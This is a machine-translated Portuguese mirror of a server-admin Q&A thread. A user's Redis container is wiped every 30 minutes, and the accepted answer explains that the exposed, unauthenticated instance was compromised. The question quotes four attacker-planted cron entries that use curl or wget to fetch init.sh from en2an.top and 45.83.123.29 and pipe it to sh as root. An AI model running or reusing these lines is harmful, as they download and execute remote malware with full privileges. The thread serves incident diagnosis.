AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • Início
  • system&network
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • Início
  • system&network
    • Recentes
    • Highest score
    • tags
  • Ubuntu
    • Recentes
    • Highest score
    • tags
  • Unix
    • Recentes
    • tags
  • DBA
    • Recentes
    • tags
  • Computer
    • Recentes
    • tags
  • Coding
    • Recentes
    • tags
Início / server / Perguntas / 1169883
Accepted
imin
imin
Asked: 2025-01-08 14:46:46 +0800 CST2025-01-08 14:46:46 +0800 CST 2025-01-08 14:46:46 +0800 CST

Dados no redis em execução no docker são excluídos a cada 30 minutos

  • 772

Tenho um Redis rodando no docker, iniciado com o comando:

docker run -d --restart a menos que seja interrompido -p 6379:6379 redis/redis-stack-server:latest

No entanto, todos os dados dentro do redis, incluindo os índices, são deletados a cada 30 minutos. Não sei por que isso acontece.

Poderia ser porque o VPS em que estou executando o Docker tem recursos muito limitados?

A especificação do VPS é 1 núcleo de CPU, 1 GB de RAM e swap e 20 GB de armazenamento. O SO é Ubuntu 22.04. O provedor de VPS é RackNerd. Eu executei o mesmo docker-redis em um VPS com a mesma especificação no OVH sem nenhum problema.

Estou executando o Redis no Docker porque quero usar a funcionalidade do Redisearch.

A cada poucas horas, chaves chamadas backup1 backup2 backup3 backup4 apareceriam no redis. Aqui está o valor para cada uma das chaves:

backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh

Aqui estão os logs do docker:

root@racknerd-d76c238:~# docker logs b4bb752bcda8
8:C 08 Jan 2025 04:51:49.757 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
8:C 08 Jan 2025 04:51:49.759 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
8:C 08 Jan 2025 04:51:49.759 * Redis version=7.4.1, bits=64, commit=00000000, modified=0, pid=8, just started
8:C 08 Jan 2025 04:51:49.759 * Configuration loaded
8:M 08 Jan 2025 04:51:49.761 * Increased maximum number of open files to 10032 (it was originally set to 1024).
8:M 08 Jan 2025 04:51:49.761 * monotonic clock: POSIX clock_gettime
8:M 08 Jan 2025 04:51:49.766 * Running mode=standalone, port=6379.
8:M 08 Jan 2025 04:51:49.768 * Module 'RedisCompat' loaded from /opt/redis-stack/lib/rediscompat.so
8:M 08 Jan 2025 04:51:49.790 * <search> Redis version found by RedisSearch : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.790 * <search> RediSearch version 2.10.5 (Git=2.10-e2f2                                                                    8a9)
8:M 08 Jan 2025 04:51:49.791 * <search> Low level api version 1 initialized successfully
8:M 08 Jan 2025 04:51:49.791 * <search> gc: ON, prefix min length: 2, min word length to stem: 4, prefix max expansions: 200, query timeout (ms): 500, timeout policy: return, cursor read size: 1000, cursor max idle (ms): 300000, max doctable size: 1000000, max number of search results:  10000,
8:M 08 Jan 2025 04:51:49.791 * <search> Initialized thread pools!
8:M 08 Jan 2025 04:51:49.793 * <search> Enabled role change notification
8:M 08 Jan 2025 04:51:49.793 * Module 'search' loaded from /opt/redis-stack/lib/redisearch.so
8:M 08 Jan 2025 04:51:49.804 * <timeseries> RedisTimeSeries version 11202, git_sha=5643fd4d6fcb1e9cf084fb2deb9285b08f4a6672
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Redis version found by RedisTimeSeries : 7.4.1 - oss
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default CHUNK_SIZE_BYTES policy: 4096
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded server DUPLICATE_POLICY: block
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_TIME_DIFF:0
8:M 08 Jan 2025 04:51:49.805 * <timeseries> loaded default IGNORE_MAX_VAL_DIFF:0.000000
8:M 08 Jan 2025 04:51:49.805 * <timeseries> Setting default series ENCODING to:compressed
8:M 08 Jan 2025 04:51:49.806 * <timeseries> Detected redis oss
8:M 08 Jan 2025 04:51:49.806 * Module 'timeseries' loaded from /opt/redis-stack/lib/redistimeseries.so
8:M 08 Jan 2025 04:51:49.816 * <ReJSON> Created new data type 'ReJSON-RL'
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> version: 20803 git sha: unknown branch:unknown
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V1 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V2 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V3 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V4 API
8:M 08 Jan 2025 04:51:49.818 * <ReJSON> Exported RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.819 * <ReJSON> Enabled diskless replication
8:M 08 Jan 2025 04:51:49.819 * Module 'ReJSON' loaded from /opt/redis-stack/lib/rejson.so
8:M 08 Jan 2025 04:51:49.819 * <search> Acquired RedisJSON_V5 API
8:M 08 Jan 2025 04:51:49.822 * <bf> RedisBloom version 2.8.2 (Git=unknown)
8:M 08 Jan 2025 04:51:49.823 * Module 'bf' loaded from /opt/redis-stack/lib/redi                                                                    sbloom.so
8:M 08 Jan 2025 04:51:49.832 * <redisgears_2> Created new data type 'GearsType'
8:M 08 Jan 2025 04:51:49.835 * <redisgears_2> Detected redis oss
8:M 08 Jan 2025 04:51:49.838 # <redisgears_2> could not initialize RedisAI_InitError    
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> Failed loading RedisAI API.
8:M 08 Jan 2025 04:51:49.838 * <redisgears_2> RedisGears v2.0.20, sha='9b737886bf825fe29ddc2f8da81f73cbe0b4e858', build_type='release', built_for='Linux-ubuntu2                                                                    2.04.x86_64', redis_version:'7.4.1', enterprise:'false'.
8:M 08 Jan 2025 04:51:49.881 * <redisgears_2> Registered backend: js.
8:M 08 Jan 2025 04:51:49.890 * Module 'redisgears_2' loaded from /opt/redis-stack/lib/redisgears.so
8:M 08 Jan 2025 04:51:49.891 * Server initialized
8:M 08 Jan 2025 04:51:49.892 * Ready to accept connections tcp
8:M 08 Jan 2025 05:04:19.697 * DB saved on disk
8:M 08 Jan 2025 05:04:20.167 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:20.172 * DB saved on disk
8:M 08 Jan 2025 05:04:21.850 * DB saved on disk
8:M 08 Jan 2025 05:04:22.318 * DB saved on disk
8:M 08 Jan 2025 05:04:22.565 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:04:22.568 * DB saved on disk
8:M 08 Jan 2025 05:04:24.255 * DB saved on disk
8:M 08 Jan 2025 05:04:24.965 * DB saved on disk
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.270 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 05:11:27.271 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 05:46:37.355 * DB saved on disk
8:M 08 Jan 2025 05:46:37.746 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:37.750 * DB saved on disk
8:M 08 Jan 2025 05:46:39.517 * DB saved on disk
8:M 08 Jan 2025 05:46:39.910 * DB saved on disk
8:M 08 Jan 2025 05:46:40.104 * <redisgears_2> Got a flush started event
8:M 08 Jan 2025 05:46:40.107 * DB saved on disk
8:M 08 Jan 2025 05:46:41.466 * DB saved on disk
8:M 08 Jan 2025 05:46:42.050 * DB saved on disk
8:M 08 Jan 2025 06:21:30.817 * <module> Scanning index idx:business in background
8:M 08 Jan 2025 06:21:30.822 * <module> Scanning index idx:business in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.823 * <module> Scanning index idx:delivery in background
8:M 08 Jan 2025 06:21:30.825 * <module> Scanning index idx:delivery in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.826 * <module> Scanning index idx:ehailing in background
8:M 08 Jan 2025 06:21:30.827 * <module> Scanning index idx:ehailing in background: done (scanned=0)
8:M 08 Jan 2025 06:21:30.828 * <module> Scanning index idx:product in background
8:M 08 Jan 2025 06:21:30.831 * <module> Scanning index idx:product in background: done (scanned=0)
8:M 08 Jan 2025 06:46:43.095 * 1 changes in 3600 seconds. Saving...
8:M 08 Jan 2025 06:46:43.105 * Background saving started by pid 29
29:C 08 Jan 2025 06:46:43.123 * DB saved on disk
29:C 08 Jan 2025 06:46:43.124 * Fork CoW for RDB: current 0 MB, peak 0 MB, average 0 MB
8:M 08 Jan 2025 06:46:43.207 * Background saving terminated with success
security
  • 1 1 respostas
  • 93 Views

1 respostas

  • Voted
  1. Best Answer
    vidarlo
    2025-01-08T17:49:05+08:002025-01-08T17:49:05+08:00

    Parabéns, você está expondo o Redis na internet e alguém o atacou.

    Não é mais seu servidor de banco de dados; alguém o está usando para seu próprio propósito. Você tem que protegê-lo, configurando autenticação forte ou firewall para que ele não seja acessível na Internet.

    • 2

relate perguntas

Sidebar

Stats

  • Perguntas 205573
  • respostas 270741
  • best respostas 135370
  • utilizador 68524
  • Highest score
  • respostas
  • Marko Smith

    Você pode passar usuário/passar para autenticação básica HTTP em parâmetros de URL?

    • 5 respostas
  • Marko Smith

    Ping uma porta específica

    • 18 respostas
  • Marko Smith

    Verifique se a porta está aberta ou fechada em um servidor Linux?

    • 7 respostas
  • Marko Smith

    Como automatizar o login SSH com senha?

    • 10 respostas
  • Marko Smith

    Como posso dizer ao Git para Windows onde encontrar minha chave RSA privada?

    • 30 respostas
  • Marko Smith

    Qual é o nome de usuário/senha de superusuário padrão para postgres após uma nova instalação?

    • 5 respostas
  • Marko Smith

    Qual porta o SFTP usa?

    • 6 respostas
  • Marko Smith

    Linha de comando para listar usuários em um grupo do Windows Active Directory?

    • 9 respostas
  • Marko Smith

    O que é um arquivo Pem e como ele difere de outros formatos de arquivo de chave gerada pelo OpenSSL?

    • 3 respostas
  • Marko Smith

    Como determinar se uma variável bash está vazia?

    • 15 respostas
  • Martin Hope
    Davie Ping uma porta específica 2009-10-09 01:57:50 +0800 CST
  • Martin Hope
    kernel O scp pode copiar diretórios recursivamente? 2011-04-29 20:24:45 +0800 CST
  • Martin Hope
    Robert ssh retorna "Proprietário incorreto ou permissões em ~/.ssh/config" 2011-03-30 10:15:48 +0800 CST
  • Martin Hope
    Eonil Como automatizar o login SSH com senha? 2011-03-02 03:07:12 +0800 CST
  • Martin Hope
    gunwin Como lidar com um servidor comprometido? 2011-01-03 13:31:27 +0800 CST
  • Martin Hope
    Tom Feiner Como posso classificar a saída du -h por tamanho 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich O que é um arquivo Pem e como ele difere de outros formatos de arquivo de chave gerada pelo OpenSSL? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent Como determinar se uma variável bash está vazia? 2009-05-13 09:54:48 +0800 CST

Hot tag

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • Início
  • Perguntas
    • Recentes
    • Highest score
  • tag
  • help

Footer

AskOverflow.Dev

About Us

  • About Us
  • Contact Us

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve